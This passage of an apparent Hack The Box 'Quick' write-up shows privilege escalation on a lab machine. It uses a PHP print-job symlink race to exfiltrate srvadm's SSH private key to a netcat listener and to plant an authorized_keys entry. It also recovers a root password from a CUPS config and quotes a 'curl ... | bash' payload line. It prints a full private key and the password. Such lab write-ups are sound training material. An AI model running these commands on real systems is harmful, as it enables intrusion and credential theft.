if($_SESSION["loggedin"])
{
if(isset($_POST["submit"]))
{
$title=$_POST["title"];
$file = date("Y-m-d_H:i:s");
file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
chmod("/var/www/printer/jobs/".$file,"0777");
$stmt=$conn->prepare("select ip,port from jobs");
$stmt->execute();
$result=$stmt->get_result();
if($result->num_rows > 0)
{
$row=$result->fetch_assoc();
$ip=$row["ip"];
$port=$row["port"];
try
{
$connector = new NetworkPrintConnector($ip,$port);
sleep(0.5); //Buffer for socket check
$printer = new Printer($connector);
$printer -> text(file_get_contents("/var/www/jobs/".$file));
$printer -> cut();
$printer -> close();
$message="Job assigned";
unlink("/var/www/jobs/".$file);
}
catch(Exception $error)
{
$error="Can't connect to printer.";
unlink("/var/www/jobs/".$file);
}
}
else
{
$error="Couldn't find printer.";
}
}
?>
What’s interesting is how it uses the filesystem. Assuming I’m coming from a registered printer, the following code is run:
file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
chmod("/var/www/printer/jobs/".$file,"0777");
sleep(0.5); //Buffer for socket check
$printer = new Printer($connector);
$printer -> text(file_get_contents("/var/www/jobs/".$file));
$printer -> cut();
$printer -> close();
unlink("/var/www/jobs/".$file);
I’m going to ignore the chmod command, because it’s pointing at the wrong directory. So the code simplifies to:
- Filename is current timestamp.
- Put user content into filename.
- Sleep 0.5 seconds.
- Read file and send contents to printer.
- Delete file.
I did a bunch of testing locally, and learned some things about PHP:
file_get_contentsandfile_put_contentswill follow symlinks.unlinkwill delete a symlink, with no impact on the file it points to.
One bit of enumeration - the box will let me confirm that srvadm has a .ssh directory:
sam@quick:/$ ls -ld /home/srvadm/.ssh/
drwx------ 2 srvadm srvadm 4096 Mar 20 02:38 /home/srvadm/.ssh/
I’ll also use a trick to look at the files created in /var/www/jobs. I’ll create an infinite loop that watches for files and logs them:
sam@quick:/var/www/jobs$ while true; do ls -l | grep -v total >> /tmp/out; done
I’ll submit a job through the page, and then kill the loop and check out the results:
sam@quick:/var/www/jobs$ cat /tmp/out
-rw-r--r-- 1 srvadm srvadm 9 May 8 20:29 2020-05-08_20:29:11
-rw-r--r-- 1 srvadm srvadm 9 May 8 20:29 2020-05-08_20:29:11
-rw-r--r-- 1 srvadm srvadm 9 May 8 20:29 2020-05-08_20:29:11
So the files are created readable by sam. I can’t write the file, but to delete the file, I only need read and write permissions on the jobs directory itself, not on the file I want to detele, and I have that:
sam@quick:/var/www$ ls -ld jobs/
drwxrwxrwx 2 root root 53248 May 8 20:32 jobs/
This leaves two attacks, read as srvadm and write as srvadm, both of which work.
Method 1: Read as srvadm
To read a file as srvadm, I will wait for a job file to be created, and then delete it and replace it with a symlink to the file I want to read. Then when the sleep expires, that content will be sent to my “printer”.
I’ll run the following one liner as sam:
sam@quick:/var/www/jobs$ while true; do for fn in *; do if [[ -r $fn ]]; then rm -f $fn; ln -s /home/srvadm/.ssh/id_rsa $fn; fi; done; done
Spread out for readability:
while true; do
for fn in *;
do if [[ -r $fn ]]; then
rm -f $fn;
ln -s /home/srvadm/.ssh/id_rsa $fn;
fi;
done;
done
This loop is constantly listing the files in jobs. For each file, if it can read the file (ie, it’s the one created by the printer PHP page), it deletes it and creates a symlink to what I hope is a private key in srvadm’s home directory.
I’ll start nc on 9100 (where I registered my printer), and submit a job, contents don’t matter. nc sees two hits. I use -k so that it continue to listen after the first connection closes.
The first connection is the test connection to see if the “printer” is up, and then the contents of the job:
root@kali# nc -k -lnvp 9100
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9100
Ncat: Listening on 0.0.0.0:9100
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:39036.
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:39048.
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAutSlpZLFoQfbaRT7O8rP8LsjE84QJPeWQJji6MF0S/RGCd4P
AP1UWD26CAaDy4J7B2f5M/o5XEYIZeR+KKSh+mD//FOy+O3sqIX37anFqqvhJQ6D
1L2WOskWoyZzGqb8r94gN9TXW8TRlz7hMqq2jfWBgGm3YVzMKYSYsWi6dVYTlVGY
DLNb/88agUQGR8cANRis/2ckWK+GiyTo5pgZacnSN/61p1Ctv0IC/zCOI5p9CKnd
whOvbmjzNvh/b0eXbYQ/Rp5ryLuSJLZ1aPrtK+LCnqjKK0hwH8gKkdZk/d3Ofq4i
hRiQlakwPlsHy2am1O+smg0214HMyQQdn7lE9QIDAQABAoIBAG2zSKQkvxgjdeiI
ok/kcR5ns1wApagfHEFHxAxo8vFaN/m5QlQRa4H4lI/7y00mizi5CzFC3oVYtbum
Y5FXwagzZntxZegWQ9xb9Uy+X8sr6yIIGM5El75iroETpYhjvoFBSuedeOpwcaR+
DlritBg8rFKLQFrR0ysZqVKaLMmRxPutqvhd1vOZDO4R/8ZMKggFnPC03AkgXkp3
j8+ktSPW6THykwGnHXY/vkMAS2H3dBhmecA/Ks6V8h5htvybhDLuUMd++K6Fqo/B
H14kq+y0Vfjs37vcNR5G7E+7hNw3zv5N8uchP23TZn2MynsujZ3TwbwOV5pw/CxO
9nb7BSECgYEA5hMD4QRo35OwM/LCu5XCJjGardhHn83OIPUEmVePJ1SGCam6oxvc
bAA5n83ERMXpDmE4I7y3CNrd9DS/uUae9q4CN/5gjEcc9Z1E81U64v7+H8VK3rue
F6PinFsdov50tWJbxSYr0dIktSuUUPZrR+in5SOzP77kxZL4QtRE710CgYEAz+It
T/TMzWbl+9uLAyanQObr5gD1UmG5fdYcutTB+8JOXGKFDIyY+oVMwoU1jzk7KUtw
8MzyuG8D1icVysRXHU8btn5t1l51RXu0HsBmJ9LaySWFRbNt9bc7FErajJr8Dakj
b4gu9IKHcGchN2akH3KZ6lz/ayIAxFtadrTMinkCgYEAxpZzKq6btx/LX4uS+kdx
pXX7hULBz/XcjiXvKkyhi9kxOPX/2voZcD9hfcYmOxZ466iOxIoHkuUX38oIEuwa
GeJol9xBidN386kj8sUGZxiiUNoCne5jrxQObddX5XCtXELh43HnMNyqQpazFo8c
Wp0/DlGaTtN+s+r/zu9Z8SECgYEAtfvuZvyK/ZWC6AS9oTiJWovNH0DfggsC82Ip
LHVsjBUBvGaSyvWaRlXDaNZsmMElRXVBncwM/+BPn33/2c4f5QyH2i67wNpYF0e/
2tvbkilIVqZ+ERKOxHhvQ8hzontbBCp5Vv4E/Q/3uTLPJUy5iL4ud7iJ8SOHQF4o
x5pnJSECgYEA4gk6oVOHMVtxrXh3ASZyQIn6VKO+cIXHj72RAsFAD/98intvVsA3
+DvKZu+NeroPtaI7NZv6muiaK7ZZgGcp4zEHRwxM+xQvxJpd3YzaKWZbCIPDDT/u
NJx1AkN7Gr9v4WjccrSk1hitPE1w6cmBNStwaQWD+KUUEeWYUAx20RA=
-----END RSA PRIVATE KEY-----
VA
With that key, I can connect as srvadm:
root@kali# ssh -i ~/keys/id_rsa_quick_srvadm srvadm@10.10.10.186
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri May 8 19:01:30 UTC 2020
System load: 1.6 Users logged in: 0
Usage of /: 30.0% of 19.56GB IP address for ens33: 10.10.10.186
Memory usage: 14% IP address for docker0: 172.17.0.1
Swap usage: 0% IP address for br-9ef1bb2e82cd: 172.18.0.1
Processes: 125
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
54 packages can be updated.
28 updates are security updates.
Last login: Fri Mar 20 05:56:02 2020 from 172.16.118.129
srvadm@quick:~$
Method 2: Write as srvadm
I can use a similar trick to write a file as srvadm. In this case, I’ll target /home/srvadm/.ssh/authorized_keys with my public key. This time, I’ll use this Bash one-liner:
sam@quick:/var/www/jobs$ while true; do find . -type l -delete; ln -sf /home/srvadm/.ssh/authorized_keys $(date '+%Y-%m-%d_%H:%M:%S'); sleep 0.1; done
Spread out for readability:
while true; do
find . -type l -delete;
ln -sf /home/srvadm/.ssh/authorized_keys $(date '+%Y-%m-%d_%H:%M:%S');
sleep 0.1;
done
This loop is a bit simpler. It just clears all links out of the jobs directory. Then it creates a job with the current timestamp using date. Then it sleeps 0.1 seconds (otherwise half the time it would find no link).
Now I submit a job, and this time, the contents are a public key I generated. Once it runs, I see the public key sent back on nc:
root@kali# nc -k -lnvp 9100
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9100
Ncat: Listening on 0.0.0.0:9100
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:39230.
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:39240.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDuvHabP2Cb9+Y+psec9TVEpcFufsrx+E+mcpIhFgRyAcoEMU7gmeFxonOcANJ/DCNgv3FJEYMETfdvqW3AU8vJDPFpBkzywCMCVdn8xFAQZBt2FgdVwhTA1F05bjyx+CKh8aw6iuVJhVJ3TtbcEoGsWVXfXS1nWO+uSFIDTZNNUURZRyORJdQ7JH0wwKX42htJkyIeT+Rf+OOFbOcfkfmFbNoOVvk+zm5GZxZgiAyHTeTX8xT5i16Skm4VRCLy4tmDB7Ze80egJxbQHfjRKuFOHitbz2ls6KoYWWCsugbiADjizmYlrIGqlpadenNZhL3W+HVac9CvTuDj6lxLnswpzGVj/D69DGxq0zo9ZIa9iLK9zjkyWHWxVOPuvPAxTSFrcDStPrgws95IzVTlM5ogOp0LZodGsp7hr/+03mrIBf/UIYcPgyO5Mqbo2jvtklo9ZyI2kpu+5D7FFS7YRbvLYOYvpRyGHUfpnUSEtKLRCg0ofcsoKYYPJqzrilFcPK8= root@kali
And now I can connect with the matching private key:
root@kali# ssh -i ~/keys/gen srvadm@10.10.10.186
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri May 8 20:53:43 UTC 2020
System load: 0.01 Users logged in: 2
Usage of /: 30.1% of 19.56GB IP address for ens33: 10.10.10.186
Memory usage: 16% IP address for docker0: 172.17.0.1
Swap usage: 0% IP address for br-9ef1bb2e82cd: 172.18.0.1
Processes: 136
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
54 packages can be updated.
28 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri May 8 20:12:34 2020 from 10.10.14.47
srvadm@quick:~$
Priv: srvadm –> root
Enumeration
For HTB machines, there are files in every home directory, and then there are ones that are unusual. I like to run a find to get files in the homedir, and usually it doesn’t overflow the screen.
srvadm@quick:~$ find . -type f -ls
281794 4 -rw-r--r-- 1 srvadm srvadm 4038 Mar 20 06:23 ./.cache/conf.d/printers.conf
281793 8 -rw-r--r-- 1 srvadm srvadm 4569 Mar 20 06:20 ./.cache/conf.d/cupsd.conf
281799 72 -rw-rw-r-- 1 srvadm srvadm 71479 Mar 20 06:46 ./.cache/logs/debug.log
281798 4 -rw-rw-r-- 1 srvadm srvadm 1136 Mar 20 06:39 ./.cache/logs/error.log
281791 12 -rw-r--r-- 1 srvadm srvadm 9064 Mar 20 06:19 ./.cache/logs/cups.log
281425 0 -rw-r--r-- 1 srvadm srvadm 0 Mar 20 02:38 ./.cache/motd.legal-displayed
281369 4 -rw-r--r-- 1 srvadm srvadm 220 Mar 20 02:16 ./.bash_logout
281797 4 -rw------- 1 srvadm srvadm 23 Mar 20 06:46 ./.local/share/nano/search_history
281421 4 -rw-r--r-- 1 srvadm srvadm 222 Mar 20 02:38 ./.ssh/known_hosts
281420 4 -rw-r--r-- 1 srvadm srvadm 564 May 8 20:53 ./.ssh/authorized_keys
281418 4 -rw------- 1 srvadm srvadm 1679 Mar 20 02:37 ./.ssh/id_rsa
281419 4 -rw-r--r-- 1 srvadm srvadm 394 Mar 20 02:37 ./.ssh/id_rsa.pub
281370 4 -rw-r--r-- 1 srvadm srvadm 3771 Mar 20 02:16 ./.bashrc
281371 4 -rw-r--r-- 1 srvadm srvadm 807 Mar 20 02:16 ./.profile
It’s not completely uncommon to have a .cache directory, but it’s not standard. .conf files are particularly interesting.
In .cache/conf.d/printers.conf, there’s a handful of printer objects, including this one:
<Printer OLD_Aviatar>
PrinterId 2
UUID urn:uuid:0929509f-7173-3afd-6be2-4da0a43ccefe
Info 8595
Location Aviatar
MakeModel KONICA MINOLTA C554SeriesPS(P)
DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
State Idle
StateTime 1549274624
ConfigTime 1549274625
Type 8401100
Accepting Yes
Shared Yes
JobSheets none none
QuotaPeriod 0
PageLimit 0
KLimit 0
OpPolicy default
ErrorPolicy stop-printer
Option job-cancel-after 10800
Option media 1
Option output-bin 0
Option print-color-mode color
Option print-quality 5
</Printer>
The DeviceURI is for printerv3.quick.htb, and it includes a username and a password. To make sure I get the url decode correct, I’ll use Python:
srvadm@quick:~$ python3 -c 'import urllib.parse; print(urllib.parse.unquote_plus("https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer"))'
https://srvadm@quick.htb:&ftQ4K3SGde8?@printerv3.quick.htb/printer
I’ve got a new set of creds: srvadm@quick.htb / &ftQ4K3SGde8?
su
This works as the root password:
srvadm@quick:~$ su -
Password:
root@quick:~#
And I can grab root.txt:
root@quick:~# cat root.txt
c76d414e************************
Beyond Root
I was really curious to know why things broke when I tried to get a shell in on .xsl file using ESI injection. I ran strace on the esigate process.
I’ll get the pid, 1137, from ps:
root@quick:~/.cache# ps auxww | grep esi
sam 1135 0.0 0.0 4628 828 ? Ss May08 0:00 /bin/sh -c /usr/bin/java -Desigate.config=/home/sam/esigate-distribution-5.2/apps/esigate.properties -Dserver.port=9001 -jar /home/sam/esigate-distribution-5.2/apps/esigate-server.jar start
sam 1137 0.1 3.5 3670048 142672 ? Sl May08 0:27 /usr/bin/java -Desigate.config=/home/sam/esigate-distribution-5.2/apps/esigate.properties -Dserver.port=9001 -jar /home/sam/esigate-distribution-5.2/apps/esigate-server.jar start
root 130917 0.0 0.0 13136 1052 pts/0 S+ 00:38 0:00 grep --color=auto esi
Now, I’ll use -f to follow forks into child processes, -o st to save the output to a file (because there will be a lot), and -p 1137 to attack to the esigate process:
root@quick:~/.cache# strace -o st -f -p 1137
strace: Process 1137 attached with 61 threads
Now I’ll send an .xsl file with the following cmd:
curl -s http://10.10.14.47/shell | bash
Now I can kill strace, and check out the output. I’ll search for curl and find where the new process is started:
131007 execve("/usr/bin/curl", ["curl", "-s", "http://10.10.14.47/shell", "|", "bash"], 0x7ffc7d5fc080 /* 6 vars */) = 0
It’s not using | as redirection of output, but rather as an argument to curl. It is literally trying to retrieve three websites, http://10.10.14.47/shell, | and bash. That explains why these commands weren’t working.